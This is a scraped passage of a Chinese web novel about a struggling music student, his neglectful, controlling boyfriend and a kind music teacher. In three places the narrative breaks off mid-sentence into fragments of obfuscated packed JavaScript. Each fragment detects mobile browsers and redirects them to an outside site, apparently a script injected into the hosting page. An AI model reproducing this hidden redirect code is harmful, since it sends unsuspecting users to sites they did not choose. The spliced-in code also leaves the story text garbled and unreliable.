《被渣攻的白月光捡到后》 1. 第 1 章 下雨了。 盛知新望着窗外出神,铅笔有一下没一下地在五线谱本子上敲敲打打,留下一点又一点浅浅的黑色痕迹。 他同学裴鸣凑过来,先是盯着他微蜷的睫毛看了一会儿,而后才开口,小声说:“小盛啊,一会儿一起去吃饭?食堂你最爱的那个档口上了新的小蛋糕,我请你吃?” 盛知新回过神,对他抱歉地笑了下:“啊今天可能不行,我得去给艾哥送伞。” 原本裴鸣听见他说“不行”时脸上的笑已经垮了下来,又听他说要去给人送伞,脸更是黑成了锅底。他斟酌又斟酌,最后还是没忍住,咬牙切齿地问道:“艾新那么大一个人,出门不会看天气预报,就指望男朋友给他送伞是吧?” 盛知新下意识地给男朋友找补:“艾哥他每天忙,应该是我帮着看预报的。” 对,不仅是你帮着看天气预报,还有帮着做饭洗衣服擦地,天天尽职尽责地给人家做家务,也不知道这是去谈恋爱了还是艾新找了个免费的保姆...... 裴鸣被他的回答噎得瞪了他一眼,难听的话到底还是没说出口。 盛知新还没搬出去的时候,他俩是室友。 当年他们大一新生刚开学,原本以为闲置了三个月的宿舍会脏得尘土飞扬,推开门时却发现屋内窗明几净。一个漂亮小男生正抱着一个本子坐在窗边写写画画,身旁摆了盆长势喜人的小盆栽,上面缀满了黄澄澄的小金桔。 小男生正戴着耳机,直到听见裴鸣咳嗽了好几声才倏地抬头,从窗台上轻轻跳了下来,把手在裤子上蹭了蹭,来和裴鸣握手,笑得阳光灿烂:“你好呀,我叫盛知新,你就是我的新室友吗?以后多多指教啦。” 盛知新家里条件一般,父母在南方务工,下面还有两个弟妹。他平时课余时间就去帮人代课代跑代取快递,周末去酒吧驻唱打工,一笔笔把钱攒下来做下个月的生活费。裴鸣看着他这样心疼,暗中和其他两个室友约好了不让盛知新A电费,有时候宿舍团建出去吃饭的时候拉拉扯扯着就把钱付了,不让盛知新知道他们到底吃了多少钱。 可盛知新总会在月末把该交的钱该A的团建聚餐一分不少地转给他。 裴鸣每次拿了这钱都气得牙痒痒,刚想去质问盛知新,却见人表面无辜,眼底却藏着狡黠的笑,他知道这是盛知新不愿意占室友的便宜。 这么好的盛知新大三的时候谈了个男朋友,是同校的艾新。 艾新是京城本地人,长得也人模人样,在院内算是个风云人物,这段时间说是被某娱乐公司选中当练习生了,在学校走路时更是傲得鼻孔都朝天。 当时他追盛知新追得其实挺莫名其妙的,分明不是一个世界的人,却三天两头往他们宿舍里送玫瑰花,完全不在乎盛知新是否花粉过敏,好像急匆匆地在走什么任务流程。裴鸣隐晦地提过,可盛知新不这么觉得,哪怕天天打喷嚏眼睛红得像只兔子,也认认真真地把艾新送的花摆在窗台上,似乎是因为第一次受到这样隆重的待遇而受宠若惊。 但是除了几个室友以外,全校再没别人知道艾新和盛知新谈恋爱了,甚至还在外面租了个房子同居了小半年。盛知新照顾艾新的起居照顾得尽心尽力,但艾新却依旧雷打不动收到过不少情书,对所有人说自己还是单身,要搞事业,要出道参加男团,没空谈恋爱。 裴鸣也不知道盛知新图什么,可看着盛知新提到艾新时幸福的表情,他也不好再多嘴,末了化成一声重重的叹息。 下课铃响了。 盛知新从座位上站起身,匆匆把书本收拾进书包,对裴鸣打了个招呼:“那我走了,下次再和你一起吃饭!” 裴鸣还没来得及嘱咐他一句“路上小心”,就发现他人已经消失在攒动的人流中了。 其实盛知新出门的时候只带了一把伞,但是他转念一想,情侣在下雨天撑一把伞慢慢走回家,聊一聊今天发生了什么,是很浪漫的事。 艾新想进娱乐圈,想当歌手,投了好多简历,好不容易签了个娱乐公司,每天都要去练习,回家时总是眉飞色舞地和盛知新说今天他又上了什么课学了什么东西,最后重重叹息一声总结陈词: “小盛啊,你也得有梦想,不能总天天赚那点代课钱代取钱。我的音乐老师就是个很厉害的人,给好多电视剧和电影写了OST,你得和他学学......唉,算了。” 他笑着摸了摸盛知新的头,像摸一只小狗,语调得意:“没事,反正哥马上就火了。” 盛知新其实挺喜欢听他讲这些。 对他来说音乐固然是梦想,但只仅限于想一想。在梦想之前,他更关心自己昨晚驻唱的四个小时挣来的日结工资能换来几天的饭钱。 盛知新蹦蹦跳跳地越过几个有污水的小水坑,停在一栋气派的大楼前,从口袋里摸出手机,犹豫着要不要先给艾新打个电话告诉他自己来接他了。 之前艾新过生日,他想给男朋友一个惊喜,特意花了钱给自己做了个好看的造型,带着花和蛋糕悄悄去接他下班,在楼下蹲了两个小时才等到了下课后姗姗来迟的男朋友。 艾新跟在一个男人身后,脸上的表情说不准是孺慕还是深情,嘴角高高翘着,不知道在和那人说什么笑的那么开心。 盛知新本能地觉得有些不高兴,有些醋,于是向前走了几步离开屋檐下的阴影,让艾新恰好能看见他。 艾新看见他后笑容倏地消失,脸色瞬间变了,匆匆和那人说了什么,而后大步走来挡住了盛知新,将他手上的花狠狠往地上一摔,声音尖锐:“盛知新你他妈的想上位想疯了吧?不是和你说了不跟我打招呼不许来找我吗?你想害死我吗?!” 盛知新被他吼得愣在了原地,霎时眼泪就掉了下来。他伸手想去拽艾新的衣袖,可那人却毫不留情地将衣袖从他手中抽出,自顾自地走了。 那天他像犯了错的孩子,低头跟在艾新身后,一边走一边抹眼泪,生怕艾新不要自己了。等回到出租屋,艾新似乎觉得是自己有点太过分,这才转身管一管盛知新的死活。 他把人抱在怀里哄:“小盛,今天是哥太急了......但是你就一点问题都没有吗?哥知道你想给哥一个惊喜,但是给人惊喜之前也要知道对方想不想要这个惊喜对不对?万一你被他们拍到了,哥以后出道这段给拿出来做文章,被伤害的不还是你吗?” 盛知新在他怀里红着眼睛点点头,艾新似乎这才放心,在他额上亲了亲:“小盛,要听话,别让哥为难,平时训练已经很累了。” 可当时是你来追我的呀,你说过要对我好的呀,盛知新被他哄得迷迷糊糊的时候想。 可是,可是...... 盛知新及时收回思绪,看向手机屏幕。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15363046|168109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 艾新不接电话,不知道又在忙什么。 他叹了口气,原本想继续在外面等着,可是雨越下越大,春寒让他觉得有些冷。 进楼里待会儿吧,他想,太冷了,感冒了好费钱。 只是进去待着,把伞给前台,等艾新走出门了自己再跟上去也可以吧,这样别人看不出他们认识的。 盛知新说服了自己,打了个寒颤,走进了那栋看着特气派的大楼。 楼里的地砖都亮得反光,他小心地不让雨滴落在地砖上留下水渍,将伞交给了前台,自己在一边的沙发上坐下,专心等艾新训练完出来。 四月份的京城还是有点冷,大堂里开了暖风。盛知新缩在沙发的一角,前一天凌晨两点从酒吧下班回家,现在那股倦意气势汹汹地反扑。他越坐越困,眼皮下沉,就这么姿势别扭地睡着了。 在梦里,他久违地梦到了两年前的艾新。 那天是大四的毕业典礼,本来定好的节目因为一些突发原因开了天窗,学生会主席病急乱投医,找盛知新顶上去充场。盛知新没怎么准备,临时上去唱了一首自己写的歌,没想到反响特别好,不少同学都在打听这个突然出现的歌手是谁。 他第一次面对这么多人表演,觉得自己太紧张了,缺乏大型舞台的表演经验,连平日的五分实力都没发挥出来。他下台后长出了一口气,正要问舞台调度自己是不是可以走了,一双手忽然从身后捂住了他的眼睛。 一道带着笑意的声音在他身后响起:“老师,你猜猜我是谁?” 盛知新被吓了一跳,猛地转身挣开了那人的手,蓦地愣在了原地。 那是他第一次见到艾新,唯一的印象就是这位同学笑得可真好看啊。 艾新的气质很贵气,一看就是家里娇生惯养的小少爷,是天之骄子,让他大脑有一瞬间的宕机,不知道要说什么。 对方看见他时也愣了下,似乎意识到自己找错人了,好看的脸上冒出了几分懊恼和烦躁,但依旧很有礼貌地给他道了歉。 “不好意思,后台灯光太暗,认错人了。” “我是艾新,”他的目光在盛知新的脸上停留片刻,而后不着痕迹地移开,“以后有什么事,可以来找我帮忙......你刚才唱的还不错,我很喜欢。” ...... 盛知新忽然觉得有人推了他一下,力气很大,险些把他从沙发上搡下去。 他被吓得猛地睁开眼,骤然的惊醒让他头疼得几乎要炸开,一件大衣从他身上慢慢滑落,堆在了腿上。 那是件质地很好的风衣,浸着淡淡的木质香调味道,像抱住了一棵厚重而温柔的树。 盛知新抬头,艾新的脸撞入他的视线。 他心里一暖,料峭春寒一扫而空,开口时声音轻轻:“艾哥,是你给我披的外衣吗?我......” 可艾新冷笑了一声,打断了他的话,目光死死地黏在那件风衣上,像是要把衣服烧穿一个洞。 他一把将那件风衣从盛知新身上拽开丢在沙发上,冰冷的目光转向他,就好像坐在对面的不是同居半年的男朋友,而是和他有杀父夺妻之恨的仇人。 “盛知新,你是不是傻逼?”艾新动了动唇,毫不掩饰语气中的恶意,“和你说了多少次没有我的允许不许来我公司,你他妈在这里坐着干什么?卖惨给谁看啊?” 2. 第 2 章 盛知新怔怔地坐在沙发上,风衣被攥在手上,捏出了几道深深浅浅的褶皱。 原来风衣不是艾新给他盖的,他又想多了。 “下雨了,我怕你淋着雨,”盛知新小声为自己辩解,“所以我才想着来给你送伞......我给你打电话你没有接呀,我又不能一直在外面等着,好冷。” 艾新上上下下将他打量了一遍,越看越觉得这个男朋友拿不出手,嫌弃的意味几乎从眼睛里溢出来。 磨损得有些变色的牛仔裤,身上穿的衬衫也不是牌子货,不知道是从哪个直播间捡漏买回来的,就这样坐在自己公司的大厅里,万一给他的那些碎嘴子同期看见了成了把柄,那他的竞争力天然就少了一截。 他可是要出道,要火的人。 想到这里,艾新更是恨得牙痒痒,冷哼一声转过身去,刚想快点离开公司大厅,却发现外面的雨下得真的很大,如果自己就这么走回去,很可能喜提感冒发烧,估计这一周都不能来练唱练跳了。 他停在大门口,气压很低地看向盛知新:“愣着干什么,还不快滚过来。” 盛知新从头疼中缓过神来,慢慢走到前台,把风衣递给前台的姐姐,低声道:“我......我能问问是谁给我披的衣服吗?” 前台姐姐看他红着眼眶可可怜怜的模样,觉得小孩被人训得有点惨:“好像是温故,温老师给你披的衣服,说你这样睡着了容易感冒,让你醒了后把衣服给我就好,我转交给他。” 温故。 盛知新动了动唇,默念了一遍这个名字,却发现自己似乎不认识这个人。 他将风衣递给前台,拿了自己寄存的伞,又快步向门边的艾新跑去。 艾新早就等烦了,正低头把手机屏按得“噼里啪啦”响,撩起眼皮瞪了盛知新一眼,不由分说转身出了公司大楼。盛知新手忙脚乱地将伞撑开跟在他身后,有些狼狈地抹了把滴在脸上的雨。 他梦想中情侣撑伞的浪漫根本不存在。 艾新很生他的气,大步在前面走着,懒得等盛知新一下。盛知新小跑在后面跟着他,大半个后背露在伞外面,衬衫湿了一半,黏黏糊糊地粘在后背的皮肤上。 所幸公司离两人租住的房子不远,盛知新只淋了十分钟的雨就到家了。 艾新站在门口换鞋,瞥了身后的人一眼,发现盛知新的刘海都湿透了,湿哒哒地蒙在眼前,连带着双眼也湿漉漉的,像一只要被主人抛弃的小狗。 真不值钱,他这么想着,翘起唇角冷笑了一下。 盛知新不知道自己在人家心里被打上了“不值钱”的标签,忙忙叨叨地换好鞋,想把自己淋湿的衣服丢进洗衣机里洗一下,却发现旁边的脏衣篓又满了,最上面的那件是艾新刚脱下来随手扔在里面的外衣。 是今早刚换的新衣服。 盛知新微不可闻地轻叹了一声,直起身看向客厅,发现自己的男朋友早就往沙发上一歪,不知道在和谁聊天,阴沉了一路的脸这会儿笑得灿烂。 他之前和艾新说过很多次了,不是夏天的话没必要每天都换洗新衣服,隔两三天换一件也是ok的,不然太浪费水,他回家做家务的工作量也大。 可那时艾新嬉笑地抱着他,亲了他好几下,说我们小盛对我最好了,要是哥每天都穿着一样的衣服去公司练唱练跳,同期生会笑话他的。 盛知新摇摇头,把那一筐脏衣篓的衣服扔进洗衣机,而后简单洗了洗手,又钻进了厨房。 艾新是京城本地人,但很喜欢吃辣,盛知新为了他特意去川菜店帮厨了一段时间,学了点做川菜的手艺,换着花样让艾新每周都能吃上新的菜式。 他切菜的时候艾新好像开了一把游戏,在客厅里大呼小叫地“杀杀杀”,特效声混杂着高压锅的“哧哧”声冲进盛知新的耳中,让他有一瞬间的恍惚。 刚在一起的时候,艾新说盛知新的手只管好好弹吉他就好,他会学着给盛知新做饭吃,保证把盛知新养的白白胖胖。可是没过几天,艾少爷对“下厨”的爱就随风而逝了,每天吵着要盛知新点外卖。他不给钱还要吃好的,盛知新伺候不起,只能去自学厨艺。 手指上忽地传来一阵刺痛,盛知新“嘶”地倒抽了一口凉气,低头发现刚才走神时指侧被刀划了道口子,这会儿一股殷红的血顺着刀口流出。 盛知新有点晕血,头晕目眩地扶着案板站了半晌才恢复力气,对艾新说:“艾哥,帮我拿个创可贴。” “什么?” 艾新杀得正酣,听见他的话后扯着嗓子问:“饿了,磨磨蹭蹭干什么呢?” 盛知新舔了下唇,微微提高了声音:“我切到手了,帮我拿个创可贴。” 艾新嘴里不知道在骂骂咧咧什么,踢踏着拖鞋走来,将一片创可贴丢在他面前,又骂骂咧咧拿着手机走了,似乎在埋怨盛知新让他错过了五杀的机会。 盛知新满头大汗地给自己贴上创可贴,强忍着刚刚晕血的不适感把两菜一汤做好,这才松了口气,喊艾新来吃饭。 似乎刚才的坏情绪只是因为饿了肚子,看见桌上自己爱吃的菜,艾新对盛知新的态度这才由阴转晴,对盛知新赞不绝口:“我们小盛就是厉害,这么会做饭的老婆我去哪找啊。” 盛知新听到他说的话后动作顿了下,将装着米饭的碗递给他:“小心烫。” 艾新没等他落座,自己先吃了起来,吃到一半后似乎想到了什么,抬眸问盛知新:“哎小盛,最近有写什么新歌吗?” 盛知新慢慢将菜夹到自己碗里,摇摇头:“最近忙,没空写了。” 艾新眉心蹙了起来,眼中闪过一道不易被察觉的烦躁,但声音仍十分轻柔:“最近在忙什么呢?咱俩是不是好久没好好聊聊天了?都怪哥平时太忙了,但是我不问你就不说吗?” 他许久没关心盛知新的生活了,这个突如其来的问题让盛知新有些猝不及防,支吾了一会儿后才回答:“就......学校有个大型的音乐节要开,很多有名的音乐人会来,裴鸣想和我拉点人也组个乐队,说是表现的好了就有机会签公司挣点演出钱。再就是这段时间酒吧晚上客人点歌的有点多,唱完很累,回来什么都不想干......” 盛知新话音刚落,就见艾新紧紧拧着眉,眼里满是对他的关心和心疼:“小盛啊,别这么辛苦。那个音乐节其实可以不参加的,没什么含金量,不如哥火了之后带你来得快,还有你那个酒吧的兼职实在不行辞了吧,不安全,大晚上的你上完班回来我也担心。” 你说你担心,也没见你来接过我下班啊? 盛知新把这句话憋了回去,摇摇头:“那不行,我答应了人家的。” 艾新见他不吃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15363047|168109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这套,也没再劝,话锋一转回到自己身上:“对了小盛,明天我的那个很牛逼的音乐老师要来给我们讲课,你方便帮我代节课吗?就上午那节,你知道的。” 盛知新吃饭的动作停了下来,抬头看向他,认真地说:“艾哥,不行的。” 之前艾新公司的课程安排总是和学校的课冲突,盛知新帮他代了不少课,每天上完自己的课就要去帮艾新上课,这么代了一个学期后直接累瘦了一圈。而艾新的期末成绩连抄带突击堪堪过线,险些因为挂科太多被留级。 “你已经缺了很多课了,”盛知新说,“再缺课这学期考试怎么办?” 听见盛知新拒绝自己后,艾新的脸色又差了。 他三两口把饭吃饭,碗往桌上一扔,起身冷冷道:“行啊,不代就不代,你说了算。” “艾哥,我......” 艾新压根不给他说完话的机会,拿着手机回了卧室,把门一关,撞在门框上发出“砰”的一声闷响。 盛知新觉得自己这一天要把一周的气都叹完了。 他吃完饭,把碗筷收拾好,小心翼翼地推开卧室的门。艾新正躺在床上玩手机,看见他进来后立刻将手机屏一锁,转身背对着他。 “艾哥,我再帮你代最后一次,”盛知新说,“往后就不行了,课你得自己去上,好不好?” 艾新转过身,双眼亮亮地看着他:“真的?” 盛知新点点头,被人一下扑在了床上亲了亲额头。 “我就知道我们小盛最好了,”艾新的声音里满是抑制不住的开心,“我和你说,那个老师真的特别特别厉害,等我和他取取经,回来再教给你好不好?” 盛知新觉得自己好累,没了一点说话的力气,可听见艾新这么问,还是说:“好啊好啊。” 艾新又抱着他说了很多,说如果自己真的成团了出道了,第一个做的事一定是帮盛知新联系唱片公司,把他写的歌投出去,让全世界都知道这么牛逼的歌是他艾新的男朋友盛知新写的。 盛知新听着他的话,点着头,却觉得自己的灵魂好像从身体里抽离了出去,冷冷地在天花板上看着自己。 兴许是从小到大被人抛弃惯了吧,他想。 父母去务工,把他丢给了家里的老人,但是弟弟妹妹却能一直待在父母身边。长大后去南方念高中,也是活得战战兢兢,和父母客客气气,生怕惹人生气了被赶回老家。 从小到大除了艾新以外,没人许诺他以后,也没人和他说“喜欢”。 只要他一直这样乖巧,听话,懂事......艾新不会不要他的,对吗? 对吧。 应该对吧。 “对了小盛,哥问你个事。” 艾新抱着他,状若无意地问道:“你认识温故吗?” 温故?谁啊? 盛知新拧着眉回忆了一下,才想起来是前台姐姐告诉他的那个给他盖风衣的好心人。 “不认识,怎么了?”他问,“他是谁啊?” “原来你和他不认识呀,我还以为你背着我偷偷交朋友呢。” 艾新好像突然如释重负地松了口气,笑着揉了揉他的头:“没事,是我们公司的一个同事,平时他可高冷了,都不理人的,今天看见他衣服在你身上我有点惊讶,就顺口问问,你别多想。” 3. 第 3 章 下完大雨的第二天是个艳阳高照的晴天,气温一路飙升到了20多度,似乎一夜间入夏。 盛知新前一晚睡得不好,梦见艾新身边多了个别人,眉眼和他很像。艾新揽着那个人冷冷地看着他,然后决绝地转身就走,他怎么跑也追不上男朋友,最后力竭倒在地上嚎啕大哭。 他醒来时耳畔的枕巾是湿的,而睡在身旁的人早就走了,被子团成一团扔在床脚,等着盛知新给他收拾叠被。 盛知新看了眼时间,心中暗道不好。 原本他今天只有下午的课,但是艾新的课在上午,现在才起床有点来不及了。 餐桌上没有给他留早餐,只有一个艾新喝剩下的牛奶盒。盛知新来不及热新的牛奶,刚拿出冰箱的面包又太凉容易胃疼,他只能从橱柜里抓了两颗巧克力,出门扫了一辆单车直奔学校去。 艾新是传媒学院的学生,这节课讲的是影视史论,不是大班课。盛知新踩着点进的教室,还没来得及把气喘匀,就见一个戴着玳瑁眼镜的老教授抱着笔记本电脑走上了讲台,目光扫过坐在下面的学生和好多空座位,脸色有点严肃。 盛知新心中暗道不好。 饶是他并非本专业的学生,也意识到这节课翘课的人好像有点多。 果不其然,老教授打开电脑后,从书本里抽出一份表格:“在上课之前我们先点个名。” 盛知新的心脏忽然漏跳了一拍,一种不祥的预感弥漫心头。他低头摸出手机,给艾新发了条消息: “艾哥,老师要点名。” 艾新今天回他回得倒快:“点呗,你帮我答个道。” “但是......” 盛知新的消息还没发出去,就听教授在上面说:“艾新来了吗?” 盛知新将手机往桌洞里一塞,硬着头皮举手:“来了。” 老教授锐利的目光透过玳瑁眼镜看向他,声音变得更严肃了:“你是艾新吗,就帮他签到?” 坏了。 盛知新之前代课只代大课水课,这些课的老师要么不会一个个点名,要么人名和人脸根本对不上号,糊弄过去很容易。 可这是个三十来人的小班,他想糊弄也得看看教授认不认识艾新。 “你是哪个班的学生?”教授说,“起立。” 盛知新慢慢从座位上站起来,低着头,下巴几乎要抵到胸口:“老师,我......” 老教授很生气,重重地拍了下讲桌:“你们现在的学生胆子真的大,这么多人不来上课也不请假的就算了,至少还挺诚实,有的人不仅不来上课,还让别人替他来,这像话吗?” 盛知新舔了下唇,觉得自己像一片在雨里摇摇欲坠的叶子。 他脑中不断地思索着该如何应对这件事,毕竟代课算是个灰色领域,大家心照不宣地不拿到明面上来讲,但如果真被较真的老师抓住,后果应该也不是能敷衍了事的。 老教授训完了人,对盛知新下了最后通牒:“我不管你是哪个学院的,我再给你一次机会,现在把艾新给我叫回来上课,不然我把你俩一起通报给你们导员记处分。” 盛知新脸涨得通红,还想绞尽脑汁辩解两句,却发现老教授根本不想听他后面要说什么,径直点开了PPT准备讲课。 坐在他旁边的电影学院学生认识盛知新,轻轻叹了口气,小声说:“这老师可较真了,你俩这回应该是跑不了,快把艾新找回来吧。” 盛知新没办法,只能小声地和他道了谢,带着书包匆匆走出了教室。 外面阳光很好,晒在教学楼的大理石地板上,光泽刺眼而明亮。盛知新盯着那块明晃晃的光斑看了一会儿,拿着手机开始给艾新发讯息: “艾哥,我被你们老师抓着了,他认识你,这课代不了,你快回来上课,不然要有处分的。” 可是艾新没回复他,不知道是不是因为开始上课了。 盛知新急得在走廊里不停地踱步,一遍又一遍地给艾新发消息:“艾哥你回我一下,怎么办呀?你十二点前能回来吗?我不想被处分。” 他每年都评奖学金,这是一笔不小的钱,足够他两个月不用那么频繁地跑代课代取挣生活费,甚至还有闲钱拿去给弟弟报个绘画兴趣班。 盛知新野不管艾新是不是在上课,看他不回消息,径直拨了个电话过去,紧接着就是漫长的等待对方接通的过程。 在他拨了第三通电话时,对方终于接了起来,语气冷淡,带着凉气钻进了盛知新的耳朵里:“你到底想干什么?” 盛知新见他终于接了电话,连忙说:“艾哥,你看见我给你发的消息了吗?快点回来上课,不然老师要给你处分。” 艾新沉默了一会儿,重重地“啧”了一声:“这老不死的非要他妈今天找事是吧?” “你那边什么时候结束?”盛知新说,“十二点之前能回来吗?” “我他妈的。” 艾新又骂了句脏话:“老师现在还没来,我说不定什么时候回去呢,你别管了,到时候处分我一个得了。” “可是——” 盛知新话还没说完,对面就把电话挂断了。 走廊里静悄悄的,间或传来老师讲课的声音,太阳的圆斑不知道什么时候从一块地砖移到了另一块。盛知新捏着手机靠墙站着,这才发觉自己额上冷汗涔涔。 虽然艾新说到时候处分他一个,可盛知新却觉得这事肯定不可能他说处分谁就处分谁。代课这事是一个巴掌拍不响,有买就有卖,辅导员到时候肯定要问艾新找谁帮他代课,艾新会不把他供出来吗? 之前裴鸣问盛知新艾新到底喜不喜欢他时,他能毫不犹豫地回答“喜欢”,可现在他却没信心艾新一定不会把他也一同供出来。 盛知新这才惊觉不知道什么时候开始,他好像对自己的男朋友不再有全心全意的信任了。 是因为不稳定的情绪,不再及时回复的讯息,还是因为爱意早已在一次次繁琐的家务里蹉跎? 可艾新刚开始追自己时,连睡觉都要连着语音。那时他还有很多写不完的灵感,夜里忽然跑去宿舍楼天台看星星,看着看着忽然给艾新打了电话说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15363048|168109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己想写歌。对面的人刚开始声音里还带着几分烦躁,听说他要写歌后瞬间精神了,让他写完了一定要唱给他听。 当时艾新从未觉得和他打电话是一件很烦的事。 但是那晚的星空和心情都在回忆里变得模糊了,两人间好像多了条横亘的沟壑。 之前的每次争执,几乎每次都是盛知新在忍耐在退步,可这次盛知新忽然不想忍了。 凭什么你不让我去公司我就不能去,凭什么你说让我别管我就不能管? 在盛知新心里处分是个挺大的事,他实在没法理解为什么艾新能把这么大的事当成个屁放了,他得去艾新的公司找他,押着他回来上课。 盛知新打定主意,风风火火地踩着楼梯下楼,出了教学楼的门就被太阳晒得眯起了眼。他顾不得防晒遮阳,甚至没顾得上扫辆单车,沿着被太阳晒得发亮的柏油马路向艾新的公司闷头出发,直至再次走到了那栋气派的大楼前才停下。 前台的姐姐看见他来了,有些意外地对他招了招手:“哎,你怎么又来了?” 盛知新慢慢把气喘匀,忽然想起之前艾新对他说过的话—— 他是将来要做男团出道的人,不能让别人知道自己有男朋友,不然舆论对他不利。 或许是“保护艾新”已经成为了盛知新的本能,他迟疑了一下,委婉道:“我找你们这儿的一个练习生。” 前台姐姐想了一会儿,恍然:“啊,是艾新吗?昨天我看你俩好像吵架了来着。” 盛知新有些尴尬地笑了笑,点点头:“是,我找他有急事,您方便帮他把他喊下来吗?他不接我电话。” “行啊,小事,”前台姐姐说着开始查练习室的电话,随口问他,“弟弟,你和他是熟人吗?” “算是朋友吧,”盛知新低声说,“我们一个学校的。” 前台姐姐点了点头,又喊住他:“弟弟,你的脸色好差,没事吧?要不要我给你倒杯水呀?” 盛知新摇摇头,慢慢走到一边的沙发上坐下,只觉得一阵头晕目眩,手脚冰凉,不停地发着抖。 刚开始他以为是自己没休息好再加上刚刚走的太急了,休息一会儿就好,可下一刻,他身子向前一倾,完全失去了维持平衡的能力。 一头栽下去前,他自嘲地想,这样摔到地上估计是要破相了。怎么每次来盛知新的公司都这么窝囊这么倒霉啊?难道是这块地方的风水和自己八字犯冲? 可预料之中的疼痛并没有到来,他一头栽进了一个温暖的怀抱里。 有一个人稳稳地接住了他。 接住他的人隐约说了什么,可他没听清,只闻到了一股好闻又熟悉的木质香调的味道,像是雪松,又像是橡木,他完全分不清,但这香调里的厚重和温柔给了他一种莫名其妙的心安,就像小时候总喜欢固执地在衣物上找来自妈妈的味道。 在彻底昏过去前,他终于想起自己在哪里闻到过这个香调了。 昨天他在沙发上睡着时被那个叫“温故”的路人盖在身上的风衣,好像就浸着这股特殊的木质香。 4. 第 4 章 盛知新不知道自己昏睡了多久。 他做了很多光怪陆离的梦,梦里一会儿是自己的脸,一会儿是艾新的脸,嘴巴张张合合像只金鱼,却听不见对方说什么。他正着急呢,画面扭曲,艾新的脸变成他父母的脸。 盛知新的父亲冷冷地看着他,这回他说的话盛知新倒是听得一清二楚。 “家里困难,你别去上大学了,”他父亲说,“你弟妹上初中也得花一笔钱,我和厂子里的人说一声,下周你来干活吧。” 可盛知新想读大学。 他上高中的时候数学不好,又没条件像同学一样上补习班,只能自己抱着错题本一遍遍重新做,一遍遍研究,研究不明白顶着老师鄙夷的目光去问,好悬没把命熬穿了,这才考上了自己喜欢的大学。 付出了整个青春的努力,怎么可能说不上就不上了? 盛知新之前在这个家里基本没有声音,父母说什么他做什么,从不反驳,特别听话,这似乎是他第一次反抗父亲的要求。他和他爸轰轰烈烈地吵了两天,他爸在家里的绝对话语权第一次遭到挑战,气得用扫帚棍把盛知新打了一顿,差点把扫帚棍打断了。 可到了快开学的时候,盛知新还是义无反顾地踏上了来京城的路,用自己暑假进厂兼职攒下来的钱买了把最低配的木吉他,买了张北上的硬卧车票,就这么一个人跑到了京城读书。 前半生,盛知新没感受过“爱”,他好像是这个家里多余的人,有他没他,爸妈弟妹过的生活也不会变。 梦里的他正准备上火车,忽然听到他爸暴怒的声音在身后响起,似乎是要将他一把从站台上拽下来。盛知新哪能让他逮住,撒腿就要跑,可一脚踩在了站台的空隙里,紧接着整个人便坠入到了无尽的黑暗里。 失重感让他猛地惊醒,天花板刺眼的白让他倏地眯了下眼,眼泪盈满了眼眶。 检测心跳的仪器正“滴滴”地响着,他有些吃力地微微抬头,在床边看见了一个陌生的人。 那人长得好好看,盛知新想。 一般人留中长发会显得油腻,但是眼前的人五官很好看,这种发型反而是锦上添花,让他平添几分专属于“艺术家”的忧郁感。 盛知新眨了下眼,这才惊觉自己好像盯着人家看了不短的时间,这还挺冒犯的,于是趁着对方还在看手机,又将头转向了窗外。 这是一间独立的病房,窗外有一株树,这会儿阳光正星星点点地落在树枝上,像一簇提前盛开的迎春。 几点了? 盛知新混沌的大脑这时才完全清醒过来,忽然想起自己是带着任务来找艾新的,这事关他到底受不受处分以及那笔价值不菲的奖学金。 他想到这儿,猛地坐起来就想下床,终于惊动了一旁看手机的人。 那人锁了手机屏,蹙眉看着他:“别动。” 盛知新僵在了原地,有些不自然地看了他一眼:“是你送我来的?抱歉,给你添麻烦了,医药费多少?我垫给你......” 对方看着盛知新刚醒来就小嘴叭叭一顿输出,没忍住笑了下,伸手给他掖了掖被子:“这些不急,你好好休息,以后记得吃早饭,不然低血糖晕倒很危险。” 他的声音太好听,质感好像大提琴,让盛知新本能地应了一声,乖乖地躺了回去。 “自我介绍一下,”那人说,“我是温故,艾新的音乐老师,我之前见过你。” 温故...... 温故?! 那不就是昨晚给他披外衣的人?他居然是艾新的音乐老师? 可谈恋爱大半年了,他之前从未听男朋友提起过这个人,唯一一次还是昨晚艾新问他认不认识温故。 盛知新觉得耳朵有点发烫,心情很复杂。 艾新对他的社交圈子了如指掌,甚至有时候会插手他的生活。如果盛知新交了艾新不满意的朋友,或者交了朋友不告诉艾新,那就是给了艾新发作的把柄,少不了又要夹枪带棒含沙射影地和盛知新冷战几天。 可艾新的社交圈子盛知新却并不了解,他有想过了解,换来的却是男朋友的敷衍—— “你问这个干啥?你又不认识他们,别问了啊,乖。” 只是没想到短短两天之内,他居然给同一个人添了麻烦。 